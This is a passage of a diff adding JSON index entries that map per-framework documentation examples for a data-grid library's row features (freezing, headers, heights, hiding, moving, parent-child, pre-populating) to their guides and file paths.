"TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-freezing/angular/example1.ts", + "file": "guides__rows__row-freezing__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row freezing" + ], + "guide": "guides/rows/row-freezing/row-freezing.md", + "guideTitle": "Row freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-freezing", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-freezing/javascript/example1.js", + "file": "guides__rows__row-freezing__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Row freezing" + ], + "guide": "guides/rows/row-freezing/row-freezing.md", + "guideTitle": "Row freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-freezing", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-freezing/react/example1.tsx", + "file": "guides__rows__row-freezing__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Row freezing" + ], + "guide": "guides/rows/row-freezing/row-freezing.md", + "guideTitle": "Row freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-freezing", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-freezing/javascript/example1.ts", + "file": "guides__rows__row-freezing__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row freezing" + ], + "guide": "guides/rows/row-freezing/row-freezing.md", + "guideTitle": "Row freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-freezing", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-freezing/vue/example1.vue", + "file": "guides__rows__row-freezing__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Row freezing" + ], + "guide": "guides/rows/row-freezing/row-freezing.md", + "guideTitle": "Row freezing", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-freezing", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-header/angular/example1.ts", + "file": "guides__rows__row-header__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row headers" + ], + "guide": "guides/rows/row-header/row-header.md", + "guideTitle": "Row headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-header", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-header/javascript/example1.js", + "file": "guides__rows__row-header__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Row headers" + ], + "guide": "guides/rows/row-header/row-header.md", + "guideTitle": "Row headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-header", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-header/react/example1.tsx", + "file": "guides__rows__row-header__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Row headers" + ], + "guide": "guides/rows/row-header/row-header.md", + "guideTitle": "Row headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-header", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-header/javascript/example1.ts", + "file": "guides__rows__row-header__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row headers" + ], + "guide": "guides/rows/row-header/row-header.md", + "guideTitle": "Row headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-header", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-header/vue/example1.vue", + "file": "guides__rows__row-header__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Row headers" + ], + "guide": "guides/rows/row-header/row-header.md", + "guideTitle": "Row headers", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-header", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/angular/example1.ts", + "file": "guides__rows__row-height__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-height", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/javascript/example1.js", + "file": "guides__rows__row-height__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-height", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/react/example1.tsx", + "file": "guides__rows__row-height__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-height", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/javascript/example1.ts", + "file": "guides__rows__row-height__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-height", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/vue/example1.vue", + "file": "guides__rows__row-height__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-height", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/angular/example2.ts", + "file": "guides__rows__row-height__angular__example2.ts.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example2", + "exampleTitle": "Set row heights with an array", + "docPermalink": "/row-height", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/javascript/example2.js", + "file": "guides__rows__row-height__javascript__example2.js.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example2", + "exampleTitle": "Set row heights with an array", + "docPermalink": "/row-height", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/react/example2.tsx", + "file": "guides__rows__row-height__react__example2.tsx.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example2", + "exampleTitle": "Set row heights with an array", + "docPermalink": "/row-height", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/javascript/example2.ts", + "file": "guides__rows__row-height__javascript__example2.ts.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example2", + "exampleTitle": "Set row heights with an array", + "docPermalink": "/row-height", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/vue/example2.vue", + "file": "guides__rows__row-height__vue__example2.vue.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example2", + "exampleTitle": "Set row heights with an array", + "docPermalink": "/row-height", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/angular/example3.ts", + "file": "guides__rows__row-height__angular__example3.ts.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example3", + "exampleTitle": "Set row heights with a function", + "docPermalink": "/row-height", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/javascript/example3.js", + "file": "guides__rows__row-height__javascript__example3.js.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example3", + "exampleTitle": "Set row heights with a function", + "docPermalink": "/row-height", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/react/example3.tsx", + "file": "guides__rows__row-height__react__example3.tsx.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example3", + "exampleTitle": "Set row heights with a function", + "docPermalink": "/row-height", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/javascript/example3.ts", + "file": "guides__rows__row-height__javascript__example3.ts.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example3", + "exampleTitle": "Set row heights with a function", + "docPermalink": "/row-height", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/vue/example3.vue", + "file": "guides__rows__row-height__vue__example3.vue.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example3", + "exampleTitle": "Set row heights with a function", + "docPermalink": "/row-height", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/angular/example4.ts", + "file": "guides__rows__row-height__angular__example4.ts.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example4", + "exampleTitle": "Adjust row heights manually", + "docPermalink": "/row-height", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/javascript/example4.js", + "file": "guides__rows__row-height__javascript__example4.js.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example4", + "exampleTitle": "Adjust row heights manually", + "docPermalink": "/row-height", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/react/example4.tsx", + "file": "guides__rows__row-height__react__example4.tsx.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example4", + "exampleTitle": "Adjust row heights manually", + "docPermalink": "/row-height", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/javascript/example4.ts", + "file": "guides__rows__row-height__javascript__example4.ts.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example4", + "exampleTitle": "Adjust row heights manually", + "docPermalink": "/row-height", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-height/vue/example4.vue", + "file": "guides__rows__row-height__vue__example4.vue.json", + "breadcrumb": [ + "Rows", + "Row heights" + ], + "guide": "guides/rows/row-height/row-height.md", + "guideTitle": "Row heights", + "exampleId": "example4", + "exampleTitle": "Adjust row heights manually", + "docPermalink": "/row-height", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/angular/example1.ts", + "file": "guides__rows__row-hiding__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example1.js", + "file": "guides__rows__row-hiding__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/react/example1.tsx", + "file": "guides__rows__row-hiding__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example1.ts", + "file": "guides__rows__row-hiding__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/vue/example1.vue", + "file": "guides__rows__row-hiding__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/angular/example2.ts", + "file": "guides__rows__row-hiding__angular__example2.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify rows hidden by default", + "docPermalink": "/row-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example2.js", + "file": "guides__rows__row-hiding__javascript__example2.js.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify rows hidden by default", + "docPermalink": "/row-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/react/example2.tsx", + "file": "guides__rows__row-hiding__react__example2.tsx.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify rows hidden by default", + "docPermalink": "/row-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example2.ts", + "file": "guides__rows__row-hiding__javascript__example2.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify rows hidden by default", + "docPermalink": "/row-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/vue/example2.vue", + "file": "guides__rows__row-hiding__vue__example2.vue.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example2", + "exampleTitle": "Step 1: Specify rows hidden by default", + "docPermalink": "/row-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/angular/example3.ts", + "file": "guides__rows__row-hiding__angular__example3.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/row-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example3.js", + "file": "guides__rows__row-hiding__javascript__example3.js.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/row-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/react/example3.tsx", + "file": "guides__rows__row-hiding__react__example3.tsx.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/row-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example3.ts", + "file": "guides__rows__row-hiding__javascript__example3.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/row-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/vue/example3.vue", + "file": "guides__rows__row-hiding__vue__example3.vue.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example3", + "exampleTitle": "Step 2: Show UI indicators", + "docPermalink": "/row-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/angular/example4.ts", + "file": "guides__rows__row-hiding__angular__example4.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/row-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example4.js", + "file": "guides__rows__row-hiding__javascript__example4.js.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/row-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/react/example4.tsx", + "file": "guides__rows__row-hiding__react__example4.tsx.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/row-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example4.ts", + "file": "guides__rows__row-hiding__javascript__example4.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/row-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/vue/example4.vue", + "file": "guides__rows__row-hiding__vue__example4.vue.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example4", + "exampleTitle": "Step 3: Set up context menu items", + "docPermalink": "/row-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/angular/example5.ts", + "file": "guides__rows__row-hiding__angular__example5.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/row-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example5.js", + "file": "guides__rows__row-hiding__javascript__example5.js.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/row-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/react/example5.tsx", + "file": "guides__rows__row-hiding__react__example5.tsx.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/row-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example5.ts", + "file": "guides__rows__row-hiding__javascript__example5.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/row-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/vue/example5.vue", + "file": "guides__rows__row-hiding__vue__example5.vue.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example5", + "exampleTitle": "Step 3: Set up context menu items (2)", + "docPermalink": "/row-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/angular/example6.ts", + "file": "guides__rows__row-hiding__angular__example6.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/row-hiding", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example6.js", + "file": "guides__rows__row-hiding__javascript__example6.js.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/row-hiding", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/react/example6.tsx", + "file": "guides__rows__row-hiding__react__example6.tsx.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/row-hiding", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/javascript/example6.ts", + "file": "guides__rows__row-hiding__javascript__example6.ts.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/row-hiding", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-hiding/vue/example6.vue", + "file": "guides__rows__row-hiding__vue__example6.vue.json", + "breadcrumb": [ + "Rows", + "Row hiding" + ], + "guide": "guides/rows/row-hiding/row-hiding.md", + "guideTitle": "Row hiding", + "exampleId": "example6", + "exampleTitle": "Step 4: Set up copy and paste behavior", + "docPermalink": "/row-hiding", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-moving/angular/example1.ts", + "file": "guides__rows__row-moving__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row moving" + ], + "guide": "guides/rows/row-moving/row-moving.md", + "guideTitle": "Row moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-moving", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-moving/javascript/example1.js", + "file": "guides__rows__row-moving__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Row moving" + ], + "guide": "guides/rows/row-moving/row-moving.md", + "guideTitle": "Row moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-moving", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-moving/react/example1.tsx", + "file": "guides__rows__row-moving__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Row moving" + ], + "guide": "guides/rows/row-moving/row-moving.md", + "guideTitle": "Row moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-moving", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-moving/javascript/example1.ts", + "file": "guides__rows__row-moving__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row moving" + ], + "guide": "guides/rows/row-moving/row-moving.md", + "guideTitle": "Row moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-moving", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-moving/vue/example1.vue", + "file": "guides__rows__row-moving__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Row moving" + ], + "guide": "guides/rows/row-moving/row-moving.md", + "guideTitle": "Row moving", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-moving", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-parent-child/angular/example1.ts", + "file": "guides__rows__row-parent-child__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row parent-child" + ], + "guide": "guides/rows/row-parent-child/row-parent-child.md", + "guideTitle": "Row parent-child", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-parent-child", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-parent-child/javascript/example1.js", + "file": "guides__rows__row-parent-child__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Row parent-child" + ], + "guide": "guides/rows/row-parent-child/row-parent-child.md", + "guideTitle": "Row parent-child", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-parent-child", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-parent-child/react/example1.tsx", + "file": "guides__rows__row-parent-child__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Row parent-child" + ], + "guide": "guides/rows/row-parent-child/row-parent-child.md", + "guideTitle": "Row parent-child", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-parent-child", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-parent-child/javascript/example1.ts", + "file": "guides__rows__row-parent-child__javascript__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row parent-child" + ], + "guide": "guides/rows/row-parent-child/row-parent-child.md", + "guideTitle": "Row parent-child", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-parent-child", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-parent-child/vue/example1.vue", + "file": "guides__rows__row-parent-child__vue__example1.vue.json", + "breadcrumb": [ + "Rows", + "Row parent-child" + ], + "guide": "guides/rows/row-parent-child/row-parent-child.md", + "guideTitle": "Row parent-child", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-parent-child", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/angular/example1.ts", + "file": "guides__rows__row-prepopulating__angular__example1.ts.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-prepopulating", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/javascript/example1.js", + "file": "guides__rows__row-prepopulating__javascript__example1.js.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" + ], + "guide": "guides/rows/row-prepopulating/row-prepopulating.md", + "guideTitle": "Row pre-populating", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/row-prepopulating", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/rows/row-prepopulating/react/example1.tsx", + "file": "guides__rows__row-prepopulating__react__example1.tsx.json", + "breadcrumb": [ + "Rows", + "Row pre-populating" 